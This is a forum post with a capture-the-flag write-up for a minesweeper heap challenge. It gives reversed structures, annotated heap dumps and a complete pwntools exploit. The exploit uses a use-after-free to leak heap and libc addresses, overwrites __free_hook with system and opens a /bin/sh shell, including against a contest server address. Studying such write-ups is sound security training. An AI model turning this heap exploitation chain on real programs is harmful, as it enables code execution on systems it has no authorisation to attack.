首页
社区
课程
招聘
ctf2018-第14题
发表于: 2018-7-13 19:45 2235

ctf2018-第14题

2018-7-13 19:45
2235
// 0x10
struct st_state
{
	char steps;
	char padding[15];
};

// 0x30
struct st_mine
{
	st_state *state; // 0x10
	__int64 inited;
	char *p_n_n; // 0x40, 8*8
	__int64 win;
	char *mines; // 0x40, 8*8
	char *name; //0x20
};

game_new:
	g_n = 8;
	g_mine_count = 30;
	if ( g_mine && g_mine->inited )
		return 1;
	g_mine = malloc(0x30);
	g_mine->name = malloc(0x20);
	g_mine->state = malloc(0x10);
	g_mine->p_n_n = malloc(g_n * g_n);
	g_mine->mines = malloc(g_n * g_n);
	g_mine->inited = 1;
	return 0

game_free:
	free(g_mine->mines);
	free(g_mine->p_n_n);
	g_mine->inited = 0;
	free(g_mine);

feed_back:
	size = read_int();
	buf = malloc(size);
	read_bytes(buf, size);
	free(buf);

game_win:
	read_bytes(g_mine->name, 0x20); 可以用来修改free_hook

game_explore:
	g_mine->p_n_n[x][y]++ 或者 g_mine->p_n_n[x][y]--

game_free之后, 立即feed_back(0x30), 修改inited, 那么就是UAF了

内存布局
g_mine
00005655266BC000  00 00 00 00 00 00 00 00  41 00 00 00 00 00 00 00  ........A.......
00005655266BC010  80 C0 6B 26 55 56 00 00  01 00 00 00 00 00 00 00  ...&UV..........
00005655266BC020  A0 C0 6B 26 55 56 00 00  00 00 00 00 00 00 00 00  ...&UV..........
00005655266BC030  F0 C0 6B 26 55 56 00 00  50 C0 6B 26 55 56 00 00  ....UV..P..&UV..
g_mine->name
00005655266BC040  00 00 00 00 00 00 00 00  31 00 00 00 00 00 00 00  ........1.......
00005655266BC050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00005655266BC060  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
g_mine->state
00005655266BC070  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
g_mine->p_n_n(fd=g_mine->mines when freed)
00005655266BC090  00 00 00 00 00 00 00 00  51 00 00 00 00 00 00 00  ........Q.......
00005655266BC0A0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00005655266BC0B0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00005655266BC0C0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00005655266BC0D0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
g_mine->mines
00005655266BC0E0  00 00 00 00 00 00 00 00  51 00 00 00 00 00 00 00  ........Q.......
00005655266BC0F0  00 00 01 00 00 00 00 00  01 01 00 01 00 00 00 01  ................
00005655266BC100  00 01 01 00 00 00 00 01  00 00 01 01 01 00 00 00  ................
00005655266BC110  00 01 00 01 00 01 01 01  01 00 00 01 00 01 01 01  ................
00005655266BC120  01 00 01 00 00 01 01 01  00 01 01 01 00 00 00 01  ................
g_mine_info
00005655266BC130  00 00 00 00 00 00 00 00  51 00 00 00 00 00 00 00  ........Q.......
00005655266BC140  90 C1 6B 26 55 56 00 00  B0 C1 6B 26 55 56 00 00  ...&UV.....&UV..
00005655266BC150  D0 C1 6B 26 55 56 00 00  F0 C1 6B 26 55 56 00 00  ..k&UV......UV..
00005655266BC160  10 C2 6B 26 55 56 00 00  30 C2 6B 26 55 56 00 00  ...&UV..0..&UV..
00005655266BC170  50 C2 6B 26 55 56 00 00  70 C2 6B 26 55 56 00 00  P..&UV..p..&UV..

00005655266BC180  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC190  2A 32 2A 33 2A 58 2A 32  2A 31 2A 20 2A 31 2A 31  *2*3*X*2*1* *1*1
00005655266BC1A0  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC1B0  2A 58 2A 58 2A 35 2A 58  2A 31 2A 20 2A 32 2A 58  *X*X*5*X*1* *2*X
00005655266BC1C0  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC1D0  2A 33 2A 58 2A 58 2A 35  2A 33 2A 31 2A 32 2A 58  *3*X*X*5*3*1*2*X
00005655266BC1E0  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC1F0  2A 32 2A 34 2A 58 2A 58  2A 58 2A 33 2A 34 2A 33  *2*4*X*X*X*3*4*3
00005655266BC200  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC210  2A 32 2A 58 2A 35 2A 58  2A 36 2A 58 2A 58 2A 58  *2*X*5*X*6*X*X*X
00005655266BC220  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC230  2A 58 2A 34 2A 34 2A 58  2A 35 2A 58 2A 58 2A 58  *X*4*4*X*5*X*X*X
00005655266BC240  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC250  2A 58 2A 35 2A 58 2A 34  2A 34 2A 58 2A 58 2A 58  *X*5*X*4*4*X*X*X
00005655266BC260  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC270  2A 32 2A 58 2A 58 2A 58  2A 32 2A 32 2A 34 2A 58  *2*X*X*X*2*2*4*X
freed ptr
00005655266BC280  00 00 00 00 00 00 00 00  61 00 00 00 00 00 00 00  ........a.......
00005655266BC290  00 00 00 00 00 00 00 00  10 C3 6B 26 55 56 00 00  ...........&UV..
00005655266BC2A0  30 C3 6B 26 55 56 00 00  50 C3 6B 26 55 56 00 00  0..&UV..P..&UV..
00005655266BC2B0  70 C3 6B 26 55 56 00 00  90 C3 6B 26 55 56 00 00  p..&UV.....&UV..
00005655266BC2C0  B0 C3 6B 26 55 56 00 00  D0 C3 6B 26 55 56 00 00  ...&UV....k&UV..
00005655266BC2D0  F0 C3 6B 26 55 56 00 00  10 C4 6B 26 55 56 00 00  ....UV.....&UV..
freed ptr[10]
00005655266BC2E0  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC2F0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00005655266BC300  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC310  E0 C2 6B 26 55 56 00 00  00 00 00 00 00 00 00 00  ...&UV..........
00005655266BC320  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC330  00 C3 6B 26 55 56 00 00  01 00 00 00 00 00 00 00  ...&UV..........
00005655266BC340  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC350  20 C3 6B 26 55 56 00 00  01 00 00 00 00 00 00 00   ..&UV..........
00005655266BC360  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC370  40 C3 6B 26 55 56 00 00  00 00 00 00 00 00 00 00  @..&UV..........
00005655266BC380  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC390  60 C3 6B 26 55 56 00 00  01 00 00 00 00 00 00 00  `..&UV..........
00005655266BC3A0  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC3B0  80 C3 6B 26 55 56 00 00  01 00 00 00 00 00 00 00  ...&UV..........
00005655266BC3C0  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC3D0  A0 C3 6B 26 55 56 00 00  01 00 00 00 00 00 00 00  ...&UV..........
00005655266BC3E0  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC3F0  C0 C3 6B 26 55 56 00 00  01 00 00 00 00 00 00 00  ..k&UV..........
00005655266BC400  00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  ........!.......
00005655266BC410  E0 C3 6B 26 55 56 00 00  00 00 00 00 00 00 00 00  ...&UV..........
00005655266BC420  00 00 00 00 00 00 00 00  E1 0B 02 00 00 00 00 00

exp(首两个位置无雷时成功)
from pwn import *

# context.log_level = 'debug'

target_file = './minesweep'
# context.binary = target_file

REMOTE = False
if REMOTE:
    libc_path = './libc.so.6'
else:
    libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
libc = ELF(libc_path)


def get_io():
    if REMOTE:
        return remote('139.199.99.130', 8686)
    else:
        # return process(['./linux_server64'])
        return process([target_file])


def x_recv_mine_info(io, mine_offset=0, ary=None, display_offset=0):
    io.recvuntil('----------------------\n')
    io.recvuntil('----------------------\n')
    s = ''
    for i in range(8):
        z = io.recvn(24)
        io.recvline()
        if mine_offset == i:
            s = z
    io.recvuntil('----------------------\n')
    # print s.encode('hex')
    if ary is not None:
        for i in range(0, len(s), 3):
            ary[i / 3 * 2 + display_offset] = s[i]
    return


def array_to_int(ary, offset, length):
    s = ''
    for _ in ary[offset:offset+length]:
        s += _
    return u64(s)


def x_game_start(io):
    io.sendlineafter('$ ', '1')
    x_recv_mine_info(io)
    return


def x_game_back(io):
    io.sendline('back\x00')
    return


def x_game_quit(io):
    io.sendline('out\x00')
    return


def x_game_explore(io, x, y, z, mine_offset=0, ary=None, display_offset=0):
    io.sendline('explore')
    io.sendline('%s %s %s' % (x, y, z))
    x_recv_mine_info(io, mine_offset=mine_offset, ary=ary, display_offset=display_offset)
    return


def x_feed_back(io, buf, buf_len):
    io.sendlineafter('$ ', '2')
    io.sendlineafter('feed back:', str(buf_len))
    if len(buf) == buf_len:
        io.send(buf)
    else:
        io.sendline(buf)
    return


def step1(io):
    # free(g_mine)
    x_game_start(io)
    x_game_quit(io)
    # g_mine->inited = 1, UAF
    # g_mine = heap + 0x10
    # g_mine->p_n_n = heap + 0x20
    buf = ''
    buf += p64(0)
    buf += p64(1)  # inited
    buf += p8(0x20)  # *p=&p
    x_feed_back(io, buf, 0x30)
    # g_mine->p_n_n = heap + 0x1XX
    x_game_start(io)
    x_game_explore(io, 1, 2, 1)
    x_game_back(io)
    # g_mine->p_n_n = heap_base + 0x178 = g_mine_info[7] (last mine info)
    buf = ''
    buf += p64(0)
    buf += p64(1)  # inited
    buf += p8(0x78)
    x_feed_back(io, buf, 0x30)

    # print heap_base + 0x370 (fast bin)
    ary = [0] * 16
    x_game_start(io)
    # g_mine_info[7]: heap + 0x270 -> heap + 0x370, print
    x_game_explore(io, 1, 2, 1, mine_offset=7, ary=ary, display_offset=0)
    # g_mine_info[7]: heap + 0x370 -> heap + 0x371, print
    x_game_explore(io, 1, 1, 1, mine_offset=7, ary=ary, display_offset=1)
    x_game_back(io)
    heap_addr = array_to_int(ary, 0, 8)
    heap_base = heap_addr - 0x340
    print('heap_base: %s' % hex(heap_base))
    return heap_base


def step2(io, heap_base):
    # clear fast bin
    x_feed_back(io, 'z', 0x80)

    # [heap_base + 0xA0] = main_arena_top
    buf = ''
    buf += p64(0)
    buf += p64(1)  # inited
    buf += p64(heap_base + 0x148)  # g_mine_info[1]
    x_feed_back(io, buf, 0x30)

    ary = [0] * 16
    x_game_start(io)
    # g_mine_info[1]: heap + 0x1B0 -> heap + 0x0B0
    x_game_explore(io, 1, 2, 0)
    for i in range(16):
        if i == 14:
            # g_mine_info[1]: heap +0x0A1
            x_game_explore(io, 1, 1, 0, mine_offset=1, ary=ary, display_offset=1)
        elif i == 15:
            # g_mine_info[1]: heap +0x0A0
            x_game_explore(io, 1, 1, 0, mine_offset=1, ary=ary, display_offset=0)
        else:
            x_game_explore(io, 1, 1, 0)
    x_game_back(io)

    libc_addr = array_to_int(ary, 0, 8)
    if REMOTE:
        libc_base = libc_addr - (libc.symbols['__malloc_hook'] - 0x40 + 0xB8)
    else:
        libc_base = libc_addr - (libc.symbols['__malloc_hook'] - 0x10 + 0x78)
    print('libc_base: %s' % hex(libc_base))
    return libc_base


def step3(io, heap_base, libc_base):
    # g_mine->name = free_hook
    buf = ''
    buf += p64(0)
    buf += p64(1)  # inited
    buf += p64(heap_base + 0xA0)
    buf += p64(1)  # win flag
    buf += p64(heap_base + 0xF0)
    buf += p64(libc_base + libc.symbols['__free_hook'])
    x_feed_back(io, buf, 0x30)
    # [free_hook] = system
    x_game_start(io)
    x_game_explore(io, 1, 1, 3)
    io.recvuntil('my hero')
    io.sendline(p64(libc_base + libc.symbols['system']))
    x_game_back(io)
    # free() -> system('/bin/sh')
    x_feed_back(io, '/bin/sh\x00', 8)
    return


def exploit():
    while True:
        io = get_io()
        try:
            heap_base = step1(io)
            # raw_input()
            libc_base = step2(io, heap_base)
            # raw_input()
            step3(io, heap_base, libc_base)
            io.interactive()
            break
        except Exception as e:
            # print e
            # break
            sleep(0.1)
            io.close()
    return


exploit()



[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2018-7-13 21:34 被风间仁编辑 ,原因:
收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//